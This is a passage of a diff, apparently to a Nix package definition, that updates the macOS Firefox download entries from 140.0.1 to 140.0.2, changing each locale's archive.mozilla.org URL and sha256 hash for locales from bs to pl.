+      sha256 = "13f088c36316fb4bd41c241f1f7abfb547b050d84b697951dcb04d741906bee3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/bs/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/bs/Firefox%20140.0.2.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "485748d59994d76fd8876a27cc55fc82db2deaef001266e5c99935bc9db4f8cf";
+      sha256 = "902ef4030c43c578ac4b41e3d8a9c995d3ba751887f403a0cdcfc14cc4833fc0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ca-valencia/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ca-valencia/Firefox%20140.0.2.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "8bfea273739befc6f18799d1efb822332e97386e4d54057ce85ff88d20e3a828";
+      sha256 = "9ea267a5321a86a7fc96deb7fee2c12dece0a15cdb0f3d1809fe2e17ab90e901";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ca/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ca/Firefox%20140.0.2.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "82398cb997f4af31a6dfd97ed803c39c0602fd453b10bb1640e162c1c03dba95";
+      sha256 = "c38e4bb0fdcf8936f19edd35e5cbc70cd9c7d3372644c8403e2a8ce6aaad60a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/cak/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/cak/Firefox%20140.0.2.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "1b329689dc57057be0f2ccf65651760f925da5c218af0c34d24ec7953a73bbc2";
+      sha256 = "c9355d3e9688d45b1c5f588df14b96421d8d585cd7647ba4a1fd97ae56ff94d8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/cs/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/cs/Firefox%20140.0.2.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "c0c605b854e429e383e2eb2cbc9cf0de501cd5af1f5014edf155b3cc65bb1e60";
+      sha256 = "f00c0f86ce41bfcca1a96021b04f74b9ec7c9faf56021dbe1d18f012c645f878";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/cy/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/cy/Firefox%20140.0.2.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "713b042d0f3b63b6ecdd299b7a6a8285fb4864779e891d9b4f0c26d90ead5384";
+      sha256 = "9883b5d63fbbcf8f1612db500c545b659000c3bf7c308fb4bf52615b744b5a2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/da/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/da/Firefox%20140.0.2.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "9da55e1412b8e208c86c0e3e6d1fe3f8941643781674877bc894add5f1aa364b";
+      sha256 = "86e87041eb527db3a4142b9149f371ab7d426a148136dd6e41759306c46e4648";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/de/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/de/Firefox%20140.0.2.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "4a88efa1028b454f5dfb8b938b16810dad7abb0a4fde0d02684f8942dd514234";
+      sha256 = "a5a6447c8cdec9a7f06f05f9fbf1c2cc2af4cd079c2c1b015e1a74e457c9249e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/dsb/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/dsb/Firefox%20140.0.2.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "d2f6dfcc37e77085e31faad67dfddc84647bbe0bee810e634d026b949b8e9471";
+      sha256 = "939d44b66ae87d88343b1ce7a8a5a8726b902f7e0af6ba91155f96735d5fe792";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/el/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/el/Firefox%20140.0.2.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "3a3a3e34240751bf8a7370334f2b2f0840482e9fa7609bfec749d86826fa70ca";
+      sha256 = "0aa026d3fcb036120dee3acc268a98dc92ea9fe1e9cd2e3cf63f34e5f8edbbc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/en-CA/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/en-CA/Firefox%20140.0.2.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "9142924511f9fc36d0dd1b7074291c90d59fa408843ef36d5ce3e508ff4aa095";
+      sha256 = "ad2885278e3ec165eadd239d8d58b989d4e0f4e1612ab576b1a6dc675a8989ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/en-GB/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/en-GB/Firefox%20140.0.2.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "218f5158c57475e82b08a014410fb9d88c5ba88b3bfc0752b57e64ab57d26daf";
+      sha256 = "721932e9f05a371830a8107ed3e31bf4a95fb51f71e56a04917e118d26f218d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/en-US/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/en-US/Firefox%20140.0.2.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "1049b957e497df1a9ab5fdfad971b02f00f3573029a23cbb930bc4fa60d2c7b4";
+      sha256 = "4584538f48fc104a83cd5b62b72f027e70bffb8cb6ea56dd24e3657347cfa979";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/eo/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/eo/Firefox%20140.0.2.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "b1f169919da19053ce8c47ff4c0478d74a94f73009744a12ccbaf89a6c3e57c1";
+      sha256 = "406f580dfe154194e256a74e5d799f397ebe6cc3886aab76c5560610b1209f8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-AR/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-AR/Firefox%20140.0.2.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "45cc953a20d2fb1c5b735c5f58a90f4f1006a4527597add8f8dcdb5ac2516fd8";
+      sha256 = "caf760c019ceb2b9e6d3f2648708ccf6fca8683d131e50124d7166a7379b819c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-CL/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-CL/Firefox%20140.0.2.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "e64f1bca9a4617d9ac15e89493e9f78620d8522c1e0465d6d92d8fe055f26eb6";
+      sha256 = "83e2d00d5aa4d8f3f1956199a9b5c858457ecb7dc850869c0e72433384ba2516";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-ES/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-ES/Firefox%20140.0.2.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "26300d6640cbc9b05ced5eb61fcf141c1e75be77d8b930a9590db2e628c50ab1";
+      sha256 = "5d89313084fe55ff8c71b62a48d850dc35f3bcf93fec0990274211a34dfe43c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/es-MX/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/es-MX/Firefox%20140.0.2.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "c24417006a0608d71e9795ee84347a895927efda95d52fde53b1cb44d82d845c";
+      sha256 = "bad4fd02555db02c5c368977340c2fef5bdf2035d0098642f6091217988263b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/et/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/et/Firefox%20140.0.2.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "8665094d5dc051f5ba40f1cceca1800fe8ef6eb440ad4fa45a00f64f84313588";
+      sha256 = "be7d3d8a83181a43701ac0454f9defa4bff86f91d9f12d44f4dda88c1ef380b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/eu/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/eu/Firefox%20140.0.2.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "e3b77f8e3fcf04393fee23c8eccee31885eb97d6dcd573babde8b07ac6fc711f";
+      sha256 = "e679afce833f49d23fcca2446bd30c3ec46c56340e7e2bf71b0fd789db1af3e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fa/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fa/Firefox%20140.0.2.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "759ade9ba35a4f7153f6fa31d878592b6f91fed09ed259f3b43b12692e6a738e";
+      sha256 = "3fa74b83b227f53e795e5db895c6b88c0f86f6a93d23727cabf9cd511208926e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ff/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ff/Firefox%20140.0.2.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "35b64f453e7242d2bc6b08cf4f4233d2b344dc341c5fa4af9f4c77b128856bce";
+      sha256 = "79a02b2f1e98fa754df19c0654a21c7a28d4b24b00e0be9b6496a7604632ce36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fi/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fi/Firefox%20140.0.2.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "33aefa3d2789956a6d7a6f3018b731f7d3e8ddbb7c36677e39445147603e02c2";
+      sha256 = "1de412cf06b8f6e1c65ea1fd036b087c691857f88eb5f288ad0dc036752defd8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fr/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fr/Firefox%20140.0.2.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "79a08c0bf65b8962eb459cf4a555bc0d23e80c726ad1b8b6f1c4de5e6b032c72";
+      sha256 = "646df95e72ba0fb3d3a169c6e1baf5501edef4d8b4d3fdd9bbf872197b7bd3a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fur/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fur/Firefox%20140.0.2.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "3633f8d2e36ceac2f68d02062258ab353f9933e89397c68cc93318aadff13ddd";
+      sha256 = "3d62a2b8c396384a8c66c0d6dca42f3203570844a68c3a64fa40cdc104e28452";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/fy-NL/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/fy-NL/Firefox%20140.0.2.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "d0ab63818fad2efeddd33e4719dd26abb6317c5fc5116063c4e82af3672d3eed";
+      sha256 = "0c637c0a70658d1fbceacdb381ff16c0fd28e157ef5fd58c4e95b5734cab9643";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ga-IE/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ga-IE/Firefox%20140.0.2.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "9c1d8a88f401868adec4f19549a666550ebadf0c764d4daf29ac8c9dcfcb9e0d";
+      sha256 = "2ffc124e5ff486fcfb5910e7f9d97851edb2d6496259f6b2be6ed2d76f526ba1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gd/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gd/Firefox%20140.0.2.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "684d1a32692b5b6fdf81c6d6923582a3b523632e824e1e6b72207c9d58c9c596";
+      sha256 = "566efee6522c826d8811572457d185ae5898802436fceff1af008a6c31b430c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gl/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gl/Firefox%20140.0.2.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "274bfac363d1251d4fb5bc75f5175deb3c462ae44f29952e7b0e5790a48350f9";
+      sha256 = "e5fce126d4e60cf01cd2b4d9f032fe84a36bbc402cba5c7b3319d4603e0981d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gn/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gn/Firefox%20140.0.2.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "273e4d9394df2de0cb5c1119a62b06d587fe0585bea9a0de9a81f0bbfe0476a0";
+      sha256 = "e539ddf9eb7bf115560f81eee96680250f501d3bc66da36d999a5d5dc558c7a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/gu-IN/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/gu-IN/Firefox%20140.0.2.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "8044b2cb651367ed33fd7e21ce4ff0dc470650e6a8f1f364c8dcc70cb5bfcfaf";
+      sha256 = "e9296b000ff84239cf71f5313239c294434001db340ce4504518de64f7dd30a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/he/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/he/Firefox%20140.0.2.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "3c6f4c000e5332b2b1dafd3d03e2fe9c5b92a568374c5341b23d3d83a11487af";
+      sha256 = "09be2afffa661784f0a1a44b20399437382d7dc343db256f27912a9c935a9cfa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hi-IN/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hi-IN/Firefox%20140.0.2.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "6a87054f095d50451cda386e618b9b9f99b5734cf574b0ab2f0b0f46371c4034";
+      sha256 = "933b56f7b344bc1eab2d7a80f3eab746ace77f272570df0ea3cffcf5892d0183";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hr/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hr/Firefox%20140.0.2.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "168aab9bf5764617e6f7fb329f019d0d66f9fbbb98ec2e9b8afbec8265b517c0";
+      sha256 = "64d5ddec4924716e077e4e1645486cf14cec3e029f307320457aeb6001b1fcc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hsb/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hsb/Firefox%20140.0.2.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "ba57e50ef701a56a19071388f23e3c602b113569a75c26ffbf1038744717738b";
+      sha256 = "63f10cc6ed00a7bfed4b30566f0f6350941a664ed4b7258c63b73e48129b75b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hu/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hu/Firefox%20140.0.2.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "608ac9e8eaa13b375838349b7cefa20f9d335d296c8f68a648edaf31c349aed8";
+      sha256 = "3645d1a9fc28ec718abbf9f730a0076c228d6feb188a5d31b029225df352ef01";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/hy-AM/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/hy-AM/Firefox%20140.0.2.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "e6b4bf9f71289bd70618a085383ba4308dd7c82c8625745b9583090ee021152c";
+      sha256 = "033ea44236e95c8d5b74f6692a6ecdf6cc1a9927398c7ba5e81431fc4a82b3b6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ia/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ia/Firefox%20140.0.2.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "5beac4f4a51e6805ad754e6e178389f77e7827ea38a1eb1e484d63824df72b51";
+      sha256 = "15679c8e1bd89c75d3300cb3e033a17ae93f75cb22e8dd81b137fca751890b16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/id/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/id/Firefox%20140.0.2.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "5a4b76c3593c7043aafaa69419b493d54f3d2f31275678e4cbb5964d7fb56b08";
+      sha256 = "87944600f3696c298cca9c5c5c4b46421a389bf83a5853f07bd0000503af4d83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/is/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/is/Firefox%20140.0.2.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "0bb9a615cbb4d364bf06c6572372aae32ec52c25ec935d98a87c1c1e658e3245";
+      sha256 = "8a588b8b52257cf773da756c8b1c67742d5324f3a1c1f422a8bea670daff4e38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/it/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/it/Firefox%20140.0.2.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "1701dd73416b901fd519f6f7e208c555e11bfde444be6cebed5950bed6b3cc2b";
+      sha256 = "1b79852aa06196f7c9187931c5572638de5030df931841182558a224ade44c55";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ja-JP-mac/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ja-JP-mac/Firefox%20140.0.2.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "b42016e88c88f69c90239e08503fb74521b69a7947ca33807bc058efc0123efd";
+      sha256 = "ee6c52e01d969f68d2478f3a90a0b7b242a0ce6a2b83394425aa721892a2378f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ka/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ka/Firefox%20140.0.2.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "ab8e74fa4fdfe2e6048e689e1b5af2c743e8887acc77ccbf8014456c9cf123f8";
+      sha256 = "5a450dc134bcba6d74dd967ce752089aebaba5991e531f055e0e495def44e904";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/kab/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/kab/Firefox%20140.0.2.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "c03b505c76b83dfc4e00f8608bdb6da1d707ac85fefacc7347c3e26e4fc996f7";
+      sha256 = "9b39486547b6c3adc488e9d3943fc0140cc1c58a87fc6e64330e572b970e7633";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/kk/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/kk/Firefox%20140.0.2.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "01a1ef3a639200d804ebbab7fe81ac79f72ea51ede707ddccf042baacb27e01c";
+      sha256 = "7c28577b7ce7a05ea16122f0190da573c363cddeef114ccfac7e39087ca71da2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/km/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/km/Firefox%20140.0.2.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "56a95f4c4d2a89f3b434260a841df95684e72c594f00a4bd1bc99dd0399821ef";
+      sha256 = "8debf1d1c3c2ab14c2419aa44237c3183a5e02fc55b857b5418bed98e24b8a94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/kn/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/kn/Firefox%20140.0.2.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "b8c7ef77c4e6d2e8c15f6f5e025c21a837fa15ce8f5928f3a39cf21e1cbd7254";
+      sha256 = "84f278459d95a03ac61b94caa60e13bf92066a8592abdb0d2cf9a1c36e25b89d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ko/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ko/Firefox%20140.0.2.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "c0b2c9c0e7ab9c05213f297478a9768ee1e9d2c3ef7369f7b8945d92cd5d1835";
+      sha256 = "5f1cfc0ed96ca290ec4823918eda334f7535237b31b94b5c0a9ed8aa12d4b2b4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/lij/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/lij/Firefox%20140.0.2.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "9450ecaab23f70227bb69f4ea883ffac3713e4c5fb7e62aeed182beb4a496732";
+      sha256 = "d06f9e94e04287e57bdf2f6991cc0e7434a7583c114206059c906b3b9474c9ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/lt/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/lt/Firefox%20140.0.2.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "fb61d7a37a63a0e7f7ec9fa159fdf0bfea7225f5361aa9ca19770de92dd48b32";
+      sha256 = "793ed5697bc878424749e605148776371c62b18bea4b024b84c5c37777341fc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/lv/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/lv/Firefox%20140.0.2.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "8edd5dd24733b40dd391805049ef64eac6d8a47810fbe9cf8dc0d95f334a3b77";
+      sha256 = "e0787c7c4b328bde6f6542b1c8a395a0edc8b046b350d9b41056d241cbd50689";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/mk/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/mk/Firefox%20140.0.2.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "5d18eb003872ea49ca4b3b8deb8a7de03d1b5bf56c28a74ba64539eb036cf52a";
+      sha256 = "570adea48da8641dce718764c0db3e6176686daed1aab6a04bbfe3f13dad348d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/mr/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/mr/Firefox%20140.0.2.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "5f485954a2f4e50e11edb3dcc66f4557ef4a65ab3fec8281305384e90f1b74d0";
+      sha256 = "3f62f4a0dfbd706abefd8f96e2d9c5c3075e27506379e593c1aceeee2e97f056";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ms/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ms/Firefox%20140.0.2.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "873bbb32b69cc9034af7f5b1a620264f3554a4c33204726f1a34c3a70d176fc8";
+      sha256 = "b873c56548b4d7d5a5d4c39b8ed6569b72be8d7906cb4d06505fe4dcfa2da1a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/my/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/my/Firefox%20140.0.2.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "a060dea26ef4e3be103aecb2a7f2a3d56da8464f80e9d13555da30d2a7f91cec";
+      sha256 = "cf5980c02043dd9c24ad751f2d2ec58265e48389e57738e1889635bf6e760952";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/nb-NO/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/nb-NO/Firefox%20140.0.2.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "879c71957f46a7d3c28a379d48a1fafa920a7795e9fe9649a9975a227c91ec77";
+      sha256 = "1a550cbfa265e463d24937c6f43b919365444d9bc80c87b00fdb3e5d9d3e2dc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/ne-NP/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/ne-NP/Firefox%20140.0.2.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "e39f6ad8bd0378fbc3182673220b58296dfaf77bce416e7820e9166ede6d6daa";
+      sha256 = "c8341aa9a7add1d1cbc8fe5aeb68f6609225a813d9cbbe0922318d5e35990b48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/nl/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/nl/Firefox%20140.0.2.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "b20d05fe1da4702787bd1d65f9d4f44250171884e182655811c7155d9dc46ced";
+      sha256 = "35b78801c12767d27d03173d4abf163a18b34400c92a54e011fa22c1fbd502f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/nn-NO/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/nn-NO/Firefox%20140.0.2.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "98bd6119bbc2c200563ff689ab8a79b22c31c29ac3e4c0947a67660a2f982882";
+      sha256 = "edcbc6f8f42b80ce8be269111341960dc0f743dc1a92c76e3eaf6620b30b4725";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/oc/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/oc/Firefox%20140.0.2.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "20949d84312488d0d629366a2e23e561e8b2b141a8efc1d6989ad9eba7537ab3";
+      sha256 = "df7ccb109a92b5d73890b9c1d85022856d16e663d0aff3dbfbb83eae848b68a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pa-IN/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pa-IN/Firefox%20140.0.2.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "15daaccd37cc22354bed47909558821241330c86901902d0d943e787dac6922a";
+      sha256 = "7d47b3571c1ac08c302049995b22a89de1f202436e8ad3d1f99c5cb6887bd7e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.1/mac/pl/Firefox%20140.0.1.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0.2/mac/pl/Firefox%20140.0.2.dmg";
       locale = "pl";
       arch = "mac";
